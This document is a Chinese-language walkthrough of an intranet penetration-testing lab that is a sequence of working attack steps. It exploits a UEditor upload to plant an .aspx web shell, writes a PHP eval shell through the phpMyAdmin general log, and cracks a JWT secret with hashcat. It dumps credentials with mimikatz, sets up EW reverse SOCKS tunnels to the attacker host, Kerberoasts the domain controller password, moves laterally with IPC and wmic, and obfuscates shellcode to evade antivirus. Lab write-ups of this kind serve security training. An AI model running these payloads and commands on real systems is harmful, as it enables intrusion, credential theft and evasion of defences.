文章目录
零、涉及知识点
站库分离、外网打点 、过杀软、多层网络渗透、横向渗透、jwt token密钥破解、
phpmyadmin写shell、sqlserver 提权、SPN服务的利用、权限提升、域渗透
注意:实际的IP地址与上图略微不同
.
一、打点
访问网站,随手测试admin目录,
弱口令测试,不对,发现可以注册,admin666/admin666
看到编辑器,基本稳了,
首先判断下是否有漏洞
Fuzz如下链接 :
http:// ackmoon /ueditor/net/controller.ashx?action=catchimage
http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage
出现如下情况:
在服务器上传一个图片吗,命名为“ 1.gif “,URL填入地址为:
XX.xx.xx.xx:8001/1.gif?.aspx
上传成功,地址:
http://www.ackmoon.com/upfiles/image/20211015/6376990959962720203379344.aspx
访问大马,成功,
使用tasklist 获取目标机器运行进程,在https://payloads.net/kill_software/ 识别
杀软还不少,
当然,使用net start 获取也可以,在这查询,
二、上线web1与data1
新建一个监听,
生成木马,
使用https://github.com/aeverj/ 直接免杀,工具需要nim,
可以参考https://cloud.tencent.com/developer/article/1767307安装配置,
通过文件管理器将免杀吗上传到吧唧,
手动触发木马,
成功上线CS,
先把延时改为1
点击大马的文件管理,可以找到网站对应的路径,
当然这个路径,在最上边注册账户登陆进去的地方也是存在的,
翻找一些网站配置文件,发现是站库分离的目标还是,
直接使用大马链接,
但是执行命令,没有反应
尝试,先执行这两个,在执行命令,成功,
先看看有没有杀软,
没有,继续上传我们刚刚生成的免杀吗,
上传成功,
第二个上传成功,
先调整延迟,
使用后渗透插件,进行提权
https://github.com/DeEpinGh0st/Erebus
这个user选项变为system,且左边的图标出现红色的屏幕边,提权成功。
到此,web1与data1都已经拿下,
三、上线web2
先新增一个system会话,沉睡调为0,
先ipconfig看到两块网卡,“ shell ipconfig ”
这里可以在shell arp -a看看当前机器斗鱼哪些机器联系过,
因为这是八级,所以可以直接扫描端口,实际环境下这个搞估计直接被发现出局,
仅仅扫一下80就好了,
增加代理,端口任选一个,
注意这里的代理服务器是CS端的服务器,
这些我们就可以socks代理通过kali的CS将流量带入内网机器中,
使用代理打开火狐,
这里要是代理失败,检查一下是不是自己的电脑还开启了其他代理软件,要关闭
成功访问web2机器的80端口,
使用给的demo登录,刷新,查看x-token参数是jwt,
复制到在线网站即可看到具体内容,
但是我们这里不知道密钥,无法修改内容,将内容复制到kali中,
使用hashcat直接爆破,
具体命令: hashcat -m 16500 jwt.txt -a 3 rockyou.txt -o s.txt
得到密码为 Qweasdzxc5
再次刷新,注意到其服务是
Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
直接谷歌: phpMyAdmin Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
疑似使用PHP studyV8.1搭建, 这个也可以通过扫目录爆出错误判断。
本地下载测试,得到该版本phpmyadmin的路径为 phpmyadmin4.8.5
访问,
使用账号 root Qweasdzxc5 成功登录,
日志写shell,具体如下:
SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file ='C:/phpstudy_pro/WWW/xbb.php'; 修改日志的保存位置。
SELECT '<?php phpinfo();eval($_REQUEST[8]);?>'
访问写入的一句吗,
使用中国一剑链接,先设置代理,
链接,
查看当前用户,
没有查到杀软,
直接CS开代理上线,
稍微配置,
生成木马,
上传木马成功,
手动执行,成功上线,
此时流量的走向是,web2将流量反向代理到data1,
data1再把流量给我们的CS服务器
四、收集web2的信息
设置一下sleep 1,查看是否存在域。
使用net view收集一下域内信息,
这里直接看到域控了,直接ping 对应名称得到域控IP为“ 10.10.10.129 ”,
这里后边手动设置域控IP为10.10.10.135。
使用命令,“logonpasswords”, 、、就是mimikatz
打开凭证,获得密码信息,
这样抓的不全,在试试“ hashdump ”,嗯嗯这就多了一些,
在线破解本地的管理员的明文密码为“ QWEasd.999 ”,
4.1、使用EW代理socks5上传web2
发现CS自带的socks4不稳定,直接上传ew到kali与目标机器(可以加资源等面纱),
使用命令“ew -s rcsocks -l 1080 -e 1024”执行监听本机1024端口,将流量转发给1080,
将ew上传到data1机器,并执行命令
“ shell C:\ew_for_win_32.exe -s rssocks -d 192.168.1.109 -e 1024 ”
Kali上会立刻出现这个,
在次设置socks5代理,
在data1机器上设置一个新的监听,这个192.168.22.133就是data1机器的IP,
此时,所有给data1机器1080端口的流量都会通过ew给kali的1024端口,
再次生成木马,
然后将木马,上传到web2,再次执行上线CS,
五、破解域控明文
此时在web2上,执行命令“ shell setspn -T ack123.com -q */* ”
发现存在spn服务,
先把这个记录下来,
由于域内的任何用户都可以向域内的任何服务请求TGS,
知道目标机器开启SPN服务后,可以用SPN申请一张票据 ST(TGS Ticket),
如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。
接着使用猕猴桃“ mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com ”命令,
申请创建票据,
使用命令“mimikatz kerberos::list”来看看票据是否创建成功,
已经创建票据成功,使用命令“kerberos::list /export”将票据导出,
记得使用“pwd”,看看导出到了哪里,
将此票据下载,
暴力破解域控,破解脚本地址:https://github.com/nidem/kerberoast
具体命令如下,
python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 4-40a10000-12server-web2\$\@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi
python3 脚本 字典 凭证
这有一个坑点是,破解脚本要把整个kerberoast项目下载下来,不然会报
“ No module named kerberos ”的错误,
得到域控的密码“ P@55w0rd! ”,
六、上线data2机器
得到域控的密码就可以通过IPC直接上传木马到data2机器,
新建正向连接监听,
生成木马并上传带web2机器C盘,然后复制带data2机器,
先执行“ net use \\10.10.10.135\ipc$ /user:administrator "P@55w0rd!" “
命令“ shell copy C:\x2.exe \\10.10.10.128\c$\x2.exe “
CS的会话还是会掉,直接使用蚁剑执行,
使用命令
‘ wmic /node:10.10.10.128 /user:ack123\administrator /password:P@55w0rd! process call create "c:\x2.exe" ’
来让data2的机器运行木马,
但是最后的链接,必须在CS的web2机器会话执行,“ connect 10.10.10.128 6666 “
成功上线,
七、渗透域控
以同样的方式搞域控,但是有杀软,木马刚上去就没了。
使用psexec尝试上线,之前在端口扫描的时候就发现了DC机器,我们查看目标,
直接右击设置,这个的密码填写明文与ntlm都可以,但是测试貌似ntlm下会做2次尝试,
但是psexec的横向也会被杀软拦截,。。。。先到这吧
7.1 过3x0
免杀项目地址 https://github.com/ORCA666/EVA2
这个项目可以过国内主流杀软和windows的defender,
拥有反调试技术,混绕外壳,在内存中解密shellcode。
使用cs attacks->payload generator->监听器->c>x64生成 payload
复制payload的内容到encoder.py内替换raw_data
执行加密,
python encoder.py
用vs2019打开项目copy编码后的内容替换 生成文件